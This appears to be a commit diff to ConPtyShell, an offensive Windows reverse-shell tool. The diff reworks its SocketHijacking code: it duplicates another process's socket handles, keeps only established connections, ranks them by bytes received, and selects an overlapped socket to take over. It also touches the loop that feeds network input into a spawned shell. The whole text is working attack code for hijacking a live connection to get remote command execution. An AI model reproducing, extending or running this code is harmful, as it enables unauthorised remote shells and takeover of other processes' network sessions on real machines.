@@ -453,6 +453,11 @@ public static class SocketHijacking
453453 public byte[] HelperData;
454454 }
455455
456+ private struct SOCKET_BYTESIN {
457+ public IntPtr handle;
458+ public UInt64 BytesIn;
459+ }
460+
456461
457462 [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
458463 private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer);
@@ -564,9 +569,55 @@ public static class SocketHijacking
564569 return TypeIndex;
565570 }
566571
567- private static bool IsSocketHijackable(IntPtr socket)
572+ private static List<IntPtr> DuplicateSocketsFromHandles(List<IntPtr> sockets)
573+ {
574+ List<IntPtr> dupedSocketsOut = new List<IntPtr>();
575+ if (sockets.Count < 1) return dupedSocketsOut;
576+ foreach (IntPtr sock in sockets) {
577+ IntPtr dupedSocket = DuplicateSocketFromHandle(sock);
578+ if(dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket);
579+ }
580+ // cleaning all socket handles
581+ foreach (IntPtr sock in sockets)
582+ CloseHandle(sock);
583+ return dupedSocketsOut;
584+ }
585+
586+ private static List<IntPtr> FilterAndOrderSocketsByBytesIn(List<IntPtr> sockets) {
587+ List<SOCKET_BYTESIN> socketsBytesIn = new List<SOCKET_BYTESIN>();
588+ List<IntPtr> socketsOut = new List<IntPtr>();
589+ foreach (IntPtr sock in sockets) {
590+ TCP_INFO_v0 sockInfo = new TCP_INFO_v0();
591+ if (!GetSocketTcpInfo(sock, out sockInfo)) {
592+ closesocket(sock);
593+ continue;
594+ }
595+ // Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString());
596+ // we need only active sockets, the remaing sockets are filtered out
597+ if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established)
598+ {
599+ SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN();
600+ sockBytesIn.handle = sock;
601+ sockBytesIn.BytesIn = sockInfo.BytesIn;
602+ socketsBytesIn.Add(sockBytesIn);
603+ }
604+ else
605+ closesocket(sock);
606+ }
607+ if (socketsBytesIn.Count < 1) return socketsOut;
608+ if (socketsBytesIn.Count >= 2)
609+ // ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket
610+ socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); });
611+ foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn)
612+ {
613+ socketsOut.Add(sockBytesIn.handle);
614+ // Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString());
615+ }
616+ return socketsOut;
617+ }
618+
619+ private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut)
568620 {
569- bool ret = false;
570621 int result = -1;
571622 UInt32 tcpInfoVersion = 0;
572623 int bytesReturned = 0;
@@ -576,17 +627,13 @@ public static class SocketHijacking
576627 if (result != 0)
577628 {
578629 // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString());
579- ret = false;
580- }
581- else
582- {
583- TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0));
584- // Console.WriteLine("debug: Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + tcpInfoV0.BytesOut.ToString());
585- if (tcpInfoV0.State == TcpState.SynReceived || tcpInfoV0.State == TcpState.Established)
586- ret = true;
630+ tcpInfoOut = new TCP_INFO_v0();
631+ return false;
587632 }
633+ TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0));
634+ tcpInfoOut = tcpInfoV0;
588635 Marshal.FreeHGlobal(tcpInfoPtr);
589- return ret ;
636+ return true ;
590637 }
591638
592639 // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket
@@ -715,9 +762,10 @@ public static class SocketHijacking
715762 }
716763 }
717764 Marshal.FreeHGlobal(ptrHandlesInfo);
718- if (socketsHandles.Count >= 2)
719- // ordering for older handles we have a higher chance to get the proper socket
720- socketsHandles.Sort(delegate (IntPtr a, IntPtr b) { return (a.ToInt64().CompareTo(b.ToInt64())); });
765+ List<IntPtr> dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles);
766+ if (dupedSocketsHandles.Count >= 1)
767+ dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles);
768+ socketsHandles = dupedSocketsHandles;
721769 return socketsHandles;
722770 }
723771
@@ -733,24 +781,19 @@ public static class SocketHijacking
733781 SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN();
734782 int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess);
735783 int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess);
736- IntPtr duplicatedParentSocket = DuplicateSocketFromHandle(parentSocketHandle);
737- if (duplicatedParentSocket == IntPtr.Zero) continue;
738784 if (
739785 (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) &&
740- (getpeername(duplicatedParentSocket , ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) &&
786+ (getpeername(parentSocketHandle , ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) &&
741787 (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port)
742788 )
743789 {
744- // Console.WriteLine("debug: found inherited socket! handle --> 0x" + duplicatedParentSocket .ToString("X4"));
790+ // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle .ToString("X4"));
745791 inherited = true;
746- closesocket(duplicatedParentSocket );
792+ closesocket(parentSocketHandle );
747793 break;
748794 }
749- closesocket(duplicatedParentSocket );
795+ closesocket(parentSocketHandle );
750796 }
751- // cleaning all socket handles
752- foreach (IntPtr dupHandle in parentSocketsHandles)
753- CloseHandle(dupHandle);
754797 return inherited;
755798 }
756799
@@ -789,36 +832,23 @@ public static class SocketHijacking
789832 {
790833 IntPtr targetSocketHandle = IntPtr.Zero;
791834 List<IntPtr> targetProcessSockets = GetSocketsTargetProcess(targetProcess);
792- if (targetProcessSockets.Count < 1)
793- return targetSocketHandle;
835+ if (targetProcessSockets.Count < 1) return targetSocketHandle;
794836 else
795837 {
796838 foreach (IntPtr socketHandle in targetProcessSockets)
797839 {
798- IntPtr dupSocketHandle = IntPtr.Zero;
799- dupSocketHandle = DuplicateSocketFromHandle(socketHandle);
800- if (dupSocketHandle == IntPtr.Zero) continue;
801- if (!IsSocketHijackable(dupSocketHandle))
802- {
803- closesocket(dupSocketHandle);
804- continue;
805- }
806- if (!IsSocketOverlapped(dupSocketHandle))
840+ if (!IsSocketOverlapped(socketHandle))
807841 {
808842 Console.WriteLine("Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping...");
809- closesocket(dupSocketHandle );
843+ closesocket(socketHandle );
810844 continue;
811845 }
812- targetSocketHandle = dupSocketHandle ;
846+ targetSocketHandle = socketHandle ;
813847 break;
814848 }
815849 }
816- // cleaning all socket handles
817- foreach (IntPtr dupHandle in targetProcessSockets)
818- CloseHandle(dupHandle);
819850 if (targetSocketHandle == IntPtr.Zero)
820- throw new ConPtyShellException("Found multiple sockets. No one was active or overlapped, so no hijackable sockets found. Exiting...");
821-
851+ throw new ConPtyShellException("No overlapped sockets found, so no hijackable sockets found :( Exiting...");
822852 return targetSocketHandle;
823853 }
824854}
@@ -1286,7 +1316,7 @@ public static class ConPtyShell
12861316 nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0);
12871317 writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
12881318 } while (nBytesReceived > 0 && writeSuccess);
1289- // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString());
1319+ // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString());
12901320 TerminateProcess(hChildProcess, 0);
12911321 }
12921322
0 commit comments